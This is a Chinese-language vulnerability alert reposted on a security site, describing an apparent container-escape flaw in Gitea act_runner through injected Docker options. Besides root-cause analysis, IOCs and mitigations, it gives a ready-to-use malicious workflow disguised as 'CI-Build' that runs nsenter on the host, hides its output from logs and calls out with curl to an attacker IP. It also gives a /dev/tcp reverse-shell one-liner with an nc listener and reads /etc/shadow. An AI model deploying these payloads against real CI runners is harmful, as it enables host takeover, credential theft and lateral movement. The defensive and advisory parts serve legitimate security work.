【高危漏洞预警】Giteaact_runner容器逃逸漏洞CVE-2026-58053

admin 2026-07-03 05:25:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Giteaactrunner存在高危容器逃逸漏洞CVE-2026-58053。漏洞源于container.options参数未有效过滤,攻击者可通过提交恶意工作流文件注入危险Docker启动参数(如–pid=host、–cap-add=ALL),结合nsenter工具实现容器逃逸,完全控制宿主机。建议立即升级actrunner至最新版本,或采取限制工作流权限、收紧Runner权限等临时缓解措施,并排查入侵痕迹。 综合评分: 98 文章分类: 漏洞分析,应急响应,安全工具,安全建设,漏洞预警


cover_image

【高危漏洞预警】Gitea act_runner 容器逃逸漏洞CVE-2026-58053

飓风网络安全

2026年7月2日 22:59 北京

在小说阅读器读本章

去阅读

一、漏洞核心信息速览

二、漏洞原理与根因深度剖析

  1. 架构背景:Gitea Actions 与 act_runner 运行机制 Gitea Actions 是Gitea对标GitHub Actions的原生CI/CD功能,act_runner 是其官方独立执行器,基于开源 gitea/act 库开发,负责接收Gitea主服务下发的工作流任务。 当act_runner配置为Docker后端模式时,每一个CI作业(Job)都会独立启动一个Docker容器,在隔离的容器环境中执行用户定义的构建、测试、部署脚本,默认通过隔离机制防止恶意工作流影响宿主机。

  2. 漏洞核心成因:container.options 参数无有效过滤 漏洞的根本原因是:工作流配置文件中的 jobs..container.options 字段,会被act库直接拼接追加到 docker run 命令的启动参数中,官方仅做了两项极有限的安全限制:

  3. 当runner配置禁用特权模式时,强制移除 –privileged 参数;

  4. 对 -v/–volume 绑定挂载参数做了基础过滤。

除此之外,所有其他Docker启动参数均未做黑名单校验与安全限制,包括但不限于:

• –pid=host:共享宿主机PID命名空间,容器内可见宿主机全部进程

• –ipc=host:共享宿主机IPC命名空间

• –cap-add=ALL:赋予容器全部Linux内核能力,包括 SYS_ADMIN 等高权限能力

• –security-opt seccomp=unconfined:禁用Seccomp系统调用过滤

• –security-opt apparmor=unconfined:禁用AppArmor安全策略

攻击者只需在工作流中构造恶意options参数,即可突破容器隔离边界,结合Linux原生工具实现完整容器逃逸。

  1. 完整容器逃逸攻击链

  2. 参数注入:攻击者向目标仓库提交恶意工作流文件,在container.options中注入共享命名空间、全开权限的Docker参数;

  3. 特权容器创建:act_runner拉取任务后,按拼接后的参数启动CI容器,容器获得宿主机PID命名空间与全部系统能力;

  4. 命名空间突破:容器内通过 nsenter 工具,挂载宿主机1号进程的命名空间,跳出容器隔离;

  5. 宿主机控制:以root身份在宿主机执行任意命令,写入后门、窃取凭证、横向渗透内网,完全接管runner节点。 三、完整手动复现与利用步骤 测试环境前提 • Gitea 主服务已启用 Actions 功能

• 已部署 Docker 模式的 act_runner,并绑定到测试仓库

• 攻击者拥有仓库普通写入权限(可提交代码、创建工作流)

步骤1:创建恶意工作流文件 在目标仓库的 .gitea/workflows/ 目录下,新建 escape.yaml 工作流配置文件,内容如下: name: CVE-2026-58053 容器逃逸测试 on: [push]

jobs: escape-job: runs-on: docker container: image: ubuntu:22.04 # 漏洞核心:注入危险Docker启动参数 options: –pid=host –cap-add=ALL –security-opt seccomp=unconfined –security-opt apparmor=unconfined steps:

  • name: 执行容器逃逸并获取宿主机权限 run: | # 安装nsenter工具(镜像默认无则安装) apt update && apt install -y util-linux # 通过nsenter进入宿主机命名空间,执行命令 nsenter -t 1 -m -u -i -n -p — sh -c ” echo ‘=== 宿主机权限验证 ===’ whoami hostname cat /etc/shadow | head -5 echo ‘=== 宿主机根目录文件 ===’ ls / ” # 如需反弹Shell,替换为对应命令即可 步骤2:提交代码触发工作流 将工作流文件提交并推送至仓库: git add .gitea/workflows/escape.yaml git commit -m “test ci workflow” git push origin main 代码推送后,Gitea会自动触发Actions任务,调度act_runner执行该工作流。

步骤3:查看执行结果验证逃逸 进入Gitea仓库的「Actions」页面,查看对应任务的运行日志:

• 若输出宿主机的主机名、root身份、宿主机/etc/shadow内容,证明容器逃逸成功,已获取宿主机root权限。

步骤4:进阶:反弹宿主机Shell 将工作流中run步骤的命令替换为反弹Shell payload,即可获取宿主机交互式权限: nsenter -t 1 -m -u -i -n -p — bash -i >& /dev/tcp/攻击机IP/443 0>&1 攻击机提前开启 nc -lvp 443 监听,即可收到宿主机的反向Shell。 四、POC利用代码

  1. 核心利用POC(工作流文件,直接可用)

CVE-2026-58053 容器逃逸利用POC

用法:放入仓库 .gitea/workflows/ 目录,推送触发

name: CI-Build on: push: branches: [ main ] pull_request: branches: [ main ]

jobs: build: runs-on: docker container: image: alpine:3.20 options: –pid=host –cap-add SYS_ADMIN –cap-add SYS_PTRACE –security-opt seccomp=unconfined steps:

  • uses: actions/checkout@v4
  • name: System Check run: | apk add –no-cache util-linux # 静默执行宿主机命令,输出写入临时文件避免日志告警 nsenter -t 1 -m -u -i -n -p sh -c ” echo ‘poc_success’ > /tmp/.cve_2026_58053_check curl -s http://攻击机IP:8080/hostname > /dev/null 2>&1 “
  1. Python 批量自查脚本(企业内部资产巡检用) 用于批量排查内部Gitea仓库是否存在可利用的runner配置,仅用于授权内部检测: import requests import json

class CVE_2026_58053_Checker: def __init__(self, gitea_url, token): self.base_url = gitea_url.rstrip(“/”) self.headers = {“Authorization”: f”token {token}”} self.vuln_repos = []

def get_user_repos(self): “””获取当前账号可访问的仓库列表””” res = requests.get(f”{self.base_url}/api/v1/user/repos”, headers=self.headers, verify=False) return res.json()

def check_actions_enabled(self, repo_full_name): “””检查仓库是否启用Actions””” res = requests.get(f”{self.base_url}/api/v1/repos/{repo_full_name}/actions/runners”, headers=self.headers, verify=False) if res.status_code == 200: runners = res.json().get(“runners”, []) # 筛选Docker模式的runner docker_runners = [r for r in runners if “docker” in r.get(“labels”, [])] return len(docker_runners) > 0 return False

def scan(self): repos = self.get_user_repos() for repo in repos: full_name = repo[“full_name”] if self.check_actions_enabled(full_name): self.vuln_repos.append(full_name) print(f”[!] 存在风险仓库: {full_name},已启用Docker runner”) else: print(f”[+] 安全: {full_name}”)

print(f”\n扫描完成,共发现 {len(self.vuln_repos)} 个存在风险的仓库”) return self.vuln_repos

if __name__ == “__main__”: # 配置参数 GITEA_URL = “https://your-gitea.com” ACCESS_TOKEN = “你的Gitea访问令牌”

scanner = CVE_2026_58053_Checker(GITEA_URL, ACCESS_TOKEN) scanner.scan() 脚本使用说明

  1. 依赖:Python3 + requests库,安装命令 pip install requests

  2. 需在Gitea个人设置中生成Access Token,具备仓库读取权限

  3. 仅用于企业内部资产自查,验证是否存在可被利用的runner配置 五、入侵痕迹排查与IOC指标 运维与安全团队可通过以下特征排查是否已遭受该漏洞攻击:

  4. 工作流配置异常:仓库 .gitea/workflows/ 下出现陌生工作流文件,container.options 字段包含 –pid=host、–cap-add=ALL、seccomp=unconfined 等危险参数;

  5. CI任务日志异常:Actions日志中出现 nsenter、mount 等高权限系统调用,或出现访问宿主机文件系统的操作记录;

  6. Docker容器特征:runner节点上运行的CI容器,启动参数包含host命名空间、全能力配置,可通过 docker inspect <容器ID> 核查;

  7. 宿主机进程异常:出现从容器PID命名空间发起的 nsenter 进程,或陌生的root权限后门进程、定时任务;

  8. 文件痕迹:宿主机 /tmp/、/root/.ssh/ 等目录出现异常写入的后门文件、SSH公钥。 六、分级修复与加固方案(优先级从高到低) 方案1:官方彻底修复(首选)

  9. 升级 act_runner 至官方最新稳定版本,底层 gitea/act 组件将同步升级至v0.262.1及以上,官方已新增Docker参数黑名单校验,全面拦截危险启动选项;

  10. 官方下载地址:https://gitea.com/gitea/act_runner/releases

方案2:无法紧急升级时的临时缓解措施

  1. 限制工作流触发权限:关闭外部PR自动运行Actions功能,仅允许可信成员提交的工作流执行,配置路径:仓库设置 → Actions → 工作流权限;

  2. 收紧Runner权限: 禁止以root身份运行act_runner,使用普通用户+rootless Docker模式运行;

限制runner仅绑定内部可信仓库,不对外开放公共仓库使用;

  1. Docker层面加固:在Docker daemon配置中禁用危险参数,或通过AppArmor/SELinux强制限制容器的命名空间访问权限;

  2. WAF拦截规则:在Gitea前置代理中,拦截工作流提交请求中包含 –pid=host、–cap-add=ALL 等危险字符串的内容。

方案3:纵深防御加固

  1. 对CI/CD集群做网络隔离,runner节点禁止直接访问核心业务内网;

  2. 部署主机EDR,监控 nsenter、unshare 等命名空间操作的异常进程,及时告警容器逃逸行为;

  3. 定期审计所有仓库的Actions工作流配置,排查异常container.options参数;

  4. 核心代码仓库禁用Docker runner,改用虚拟机或K8s隔离环境执行CI任务。 七、风险总结 CVE-2026-58053是典型的CI/CD供应链高危漏洞,利用门槛低、危害极大:攻击者仅需普通仓库写入权限,即可突破容器隔离完全接管CI执行节点,进而窃取全量代码、植入后门、横向渗透研发内网,对企业研发资产与数据安全构成严重威胁。 当前公网大量自建Gitea实例均启用了Actions功能,且未及时升级runner组件,建议所有使用Gitea Actions的企业在24小时内完成版本升级与风险排查,封堵容器逃逸攻击入口。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 《【高危漏洞预警】Gitea act_runner 容器逃逸漏洞CVE-2026-58053》

评论:0   参与:  0